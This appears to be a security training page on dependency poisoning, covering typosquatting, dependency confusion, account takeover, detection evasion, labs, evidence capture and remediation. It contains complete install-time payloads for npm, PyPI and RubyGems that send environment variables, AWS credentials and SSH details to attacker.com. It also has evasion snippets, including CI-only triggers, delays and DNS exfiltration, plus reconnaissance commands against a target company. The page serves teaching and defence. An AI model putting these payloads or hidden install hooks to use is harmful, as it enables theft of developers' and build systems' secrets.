10 min read

Expert

Dependency Poisoning

Modern applications are 80%+ third-party code. Poisoning a single popular dependency can compromise thousands of downstream targets. This is nation-state level tradecraft.

Real-World Devastation

event-stream (2018) - Backdoor added to package with 2M weekly downloads. SolarWinds (2020) - 18,000+ organizations compromised. ua-parser-js (2021) - Crypto miner injected into 7M weekly downloads. This is not theoretical.

Attack Taxonomy

Attack Type Difficulty Description Impact
Typosquatting 🟢 Easy Register misspelled package names Developers who typo
Dependency Confusion 🟡 Medium Hijack internal package names on public registries Entire organizations
Account Takeover 🟠 Hard Compromise maintainer credentials All package users
Build System Compromise 🔴 Expert Inject malware during package build/publish Catastrophic

Dependency Poisoning Attack Chain

Typosquatting

Register packages with names similar to popular libraries. Developers who mistype get your malicious version.

NPM Typosquats

  • lodash → 1odash, lodahs, loadsh
  • express → expres, expresss, expess
  • react → reacct, raect, reactt
  • axios → axois, axio5, axioss

PyPI Typosquats

  • requests → reqeusts, requsets, request
  • urllib3 → urrlib3, url1ib3, urllib
  • beautifulsoup → beautifulsop, beutifulsoup
  • numpy → numppy, nunpy, numy

Dependency Confusion

High-Value Target Attack

Companies use internal package registries (Artifactory, npm Enterprise). If you find an internal package name and register it publicly with a higher version, package managers may pull YOUR malicious version instead.

Attack Flow

🔍
1. Recon
Find internal package names
→
📦
2. Register
Claim on public registry
→
💀
3. Poison
Add preinstall payload

Finding Internal Package Names

Reconnaissance for Internal Packages
# 1. JavaScript source maps (often exposed)
curl https://target.com/app.js.map | grep -oP '"sources":\[.*?\]'

# 2. package.json in exposed directories
curl https://target.com/package.json
curl https://target.com/.npm/package.json

# 3. GitHub search for company packages
site:github.com "target-company" package.json
site:github.com "target-company" requirements.txt

# 4. Error messages (package names leaked)
# Look for: "Cannot find module 'target-internal-lib'"

# 5. Wayback Machine
curl "https://web.archive.org/cdx/search/cdx?url=target.com/package.json&output=json"

# 6. NPM/PyPI search for company name
npm search target-company
pip search target-company  # deprecated, use web interface

# Common internal package patterns:
# @company/utils, company-auth, company-logger, internal-api-client

Malicious Package Payloads

NPM Preinstall Payload
// package.json
{
  "name": "target-internal-lib",
  "version": "99.99.99",
  "description": "Internal utilities",
  "scripts": {
    "preinstall": "node payload.js"
  }
}

// payload.js - Exfiltrate build environment
const https = require('https');
const os = require('os');
const { execSync } = require('child_process');

const data = {
  hostname: os.hostname(),
  user: os.userInfo().username,
  cwd: process.cwd(),
  env: process.env,
  whoami: execSync('whoami').toString(),
  id: execSync('id 2>/dev/null || echo N/A').toString(),
  aws_creds: execSync('cat ~/.aws/credentials 2>/dev/null || echo N/A').toString(),
  ssh_keys: execSync('ls -la ~/.ssh/ 2>/dev/null || echo N/A').toString()
};

const req = https.request({
  hostname: 'attacker.com',
  port: 443,
  path: '/collect',
  method: 'POST',
  headers: { 'Content-Type': 'application/json' }
}, () => {});
req.write(JSON.stringify(data));
req.end();
PyPI Setup.py Payload
# setup.py
from setuptools import setup
from setuptools.command.install import install
import os, socket, subprocess, base64

class PostInstall(install):
    def run(self):
        install.run(self)
        # Exfiltrate environment
        data = {
            'hostname': socket.gethostname(),
            'user': os.getenv('USER'),
            'pwd': os.getcwd(),
            'env': dict(os.environ)
        }
        import urllib.request, json
        urllib.request.urlopen(
            urllib.request.Request(
                'https://attacker.com/collect',
                data=json.dumps(data).encode(),
                headers={'Content-Type': 'application/json'}
            )
        )

setup(
    name='target-internal-lib',
    version='99.99.99',
    cmdclass={'install': PostInstall}
)
RubyGems Extconf Payload
# ext/extconf.rb - runs during gem install
require 'net/http'
require 'json'
require 'socket'

data = {
  hostname: Socket.gethostname,
  user: ENV['USER'],
  pwd: Dir.pwd,
  env: ENV.to_h
}

uri = URI('https://attacker.com/collect')
Net::HTTP.post(uri, data.to_json, 'Content-Type' => 'application/json')

# Still create Makefile so install doesn't fail
File.write('Makefile', "all:\ninstall:\n")

Account Takeover

Compromising maintainer credentials gives you control of legitimate packages.

Attack Vectors

  • Credential stuffing (reused passwords)
  • Phishing maintainer emails
  • Session hijacking via XSS on registry
  • Social engineering for 2FA bypass
  • Compromised CI/CD with publish tokens

High-Value Targets

  • Single-maintainer packages
  • Packages with many dependents
  • Dormant but widely-used packages
  • Packages without 2FA enforcement
  • Maintainers with weak OSINT presence

Detection Evasion

Stealthy Payload Techniques
// 1. Time-delayed execution (avoid sandbox detection)
setTimeout(() => {
  // Malicious code
}, 300000); // 5 minutes

// 2. Environment checks (only run in CI/CD)
if (process.env.CI || process.env.GITHUB_ACTIONS || process.env.JENKINS_URL) {
  // Payload only runs in build environments
}

// 3. Hostname checks (target specific companies)
const hostname = require('os').hostname();
if (hostname.includes('target-company') || hostname.includes('prod')) {
  // Targeted payload
}

// 4. Obfuscated exfil (looks like telemetry)
const analytics = require('./analytics'); // Actually exfil code
analytics.track('install', { data: process.env });

// 5. DNS exfiltration (bypasses egress filtering)
const dns = require('dns');
const encoded = Buffer.from(JSON.stringify(process.env)).toString('base64');
dns.resolve(`${encoded.slice(0,63)}.attacker.com`, () => {});

Defense Enumeration

When testing, check for these defenses:

Check Target Defenses
# Check .npmrc for registry config
cat .npmrc
# Look for: registry=https://internal-registry.company.com
# If public fallback isn't disabled, vulnerable!

# Check pip.conf
cat ~/.pip/pip.conf
cat /etc/pip.conf
# Look for: index-url = https://internal-pypi.company.com
# extra-index-url = https://pypi.org/simple  # VULNERABLE!

# Check for package-lock.json integrity
# If resolved URLs point to internal registry, dependency confusion harder

# Check Artifactory/Nexus remote repository config
# Virtual repos that mix internal + external = vulnerable

Tools

Real-World: xz-utils Backdoor (2024)

A sophisticated adversary spent two years building trust as a xz-utils maintainer before inserting a backdoor into the build process that targeted OpenSSH authentication. This was not a drive-by typosquat — it was a patient, state-level supply chain operation. The backdoor was discovered by accident when a developer noticed unusual SSH latency.

Dependency Poisoning Labs

Practice supply chain attack techniques safely.

Dependency Confusion Attack Custom Lab medium
Set up a private NPM registry (Verdaccio) with internal packagesPublish a higher-version package on public NPM with the same nameObserve the build system pulling the public version instead of privateAdd a postinstall script that exfiltrates environment variablesFix: Configure .npmrc with registry scoping and install Confused checker
Typosquatting Detection Custom Lab easy
Generate typosquat candidates for popular packages (lodash, express, react)Check if any candidates exist on NPM/PyPI using API queriesAnalyze a known malicious typosquat package's install scriptsImplement Socket.dev or Snyk for real-time dependency alerting

📋 Framework Alignment

OWASP CI/CD: CICD-SEC-3 (Dependency Chain Abuse) | MITRE ATT&CK: T1195.001 (Supply Chain: Software Dependencies), T1195.002 (Software Supply Chain) | SLSA: Dependencies track — provenance verification | NIST SSDF: PW.4 (Software Dependencies)

Evidence to Capture

A poisoned dependency is a claim about which artefact actually resolved. The lockfile line and the registry metadata are the finding; the payload is only interesting once the resolution is proven.

Resolution identity: Package name, version, registry URL and the resolved tarball URL, copied from the lockfile entry rather than retyped from the manifest.

Integrity hash: The lockfile integrity value and the tarball hash the registry reports for that version. They must be compared, not just recorded.

Install-time execution: The preinstall, install or postinstall entry from the package manifest, verbatim, with the file it invokes.

Publication timeline: Publish timestamp, version sequence and maintainer record from the registry API. A version jump that lands hours after a maintainer change is the strongest single indicator.

Resolution log: The build log line showing which registry answered the request and when. This is what distinguishes an internal proxy hit from a public fallback.

Build environment at the time: The CI job that installed it and which credentials were readable in that job, because that set determines the blast radius of an install-time payload.

Likely False Positives

Dependency confusion and typosquatting both depend on resolution order or a human typo. If neither is present, there is no finding.

  • Integrity pin holds: A committed lockfile with an integrity hash that matches the registry artefact cannot be swapped for a different tarball without a hash mismatch.
  • Scope locked to the private registry: An @org scope mapped to the internal registry with no public fallback for that scope is not confusable, however many public packages share the name.
  • Public fallback disabled upstream: A proxy that refuses to fetch internal names from the public registry closes the attack at the registry, not at the client.
  • Install script is legitimate: Native packages build at install time. A postinstall that compiles a module you can read is not a payload; say which script and why it is expected.
  • Blocked by policy before install: An allowlist or dependency firewall that refused the package means nothing executed. The finding is the attempted resolution, not a compromise.
  • Name registered defensively: Organisations sometimes squat their own internal names publicly. Check the publisher against the org before calling it hijacking.

Testing Checklist

Registry configuration

  • ☐ Every registry file read: .npmrc, pip.conf, nuget.config, Gemfile sources
  • ☐ Scope-to-registry mapping recorded per ecosystem
  • ☐ Whether a public fallback exists for internal names
  • ☐ Proxy cache behaviour checked with an unpublished internal name
  • ☐ Authentication mode of the internal registry noted
  • ☐ Mirror or virtual repo composition recorded where one is used

Package provenance

  • ☐ Lockfile resolved URLs compared against the expected registry
  • ☐ Integrity hashes compared against registry metadata, not just present
  • ☐ Publication date and version sequence reviewed for jumps
  • ☐ Maintainer history and signing status recorded
  • ☐ Package age, download count and dependent count used as a sanity check
  • ☐ Typosquat distance checked against the real package name

Build environment

  • ☐ Install-time scripts enumerated for every new direct dependency
  • ☐ Secrets readable in the installing job listed by name and scope
  • ☐ Egress from the build network recorded (can a payload call out?)
  • ☐ Dependency install separated from the step that holds deploy credentials
  • ☐ Build logs retained long enough to reconstruct the resolution
  • ☐ Any installed package confirmed absent from the final artefact

Remediation

Resolution and registry

  • • Commit lockfiles for every ecosystem and fail the build on an unlocked install, so a resolution change is a review event rather than a surprise.
  • • Map internal scopes explicitly to the internal registry and remove any public fallback for those names; do not rely on resolution order to prefer the private source.
  • • Pre-register your internal names on the public registries as empty placeholders, so a squatter cannot claim them while your own resolution stays internal.
  • • Run a dependency firewall or allowlist in front of the registry, and put the check where installs actually happen rather than in a weekly scan.

Build-time containment

  • • Install dependencies in a job with no deploy credentials and no route to production, then pass only the built artefact forward.
  • • Disable install scripts by default (ignore-scripts or the ecosystem equivalent) and allowlist the packages that genuinely need them.
  • • Verify provenance where the ecosystem supports it: npm attestations, PyPI trusted publishing, or Sigstore bundles checked against the publisher identity.
  • • Keep build logs and lockfile history long enough to answer "what resolved on the day of the incident", which is usually months later.

CWE References: CWE-829, CWE-506, CWE-494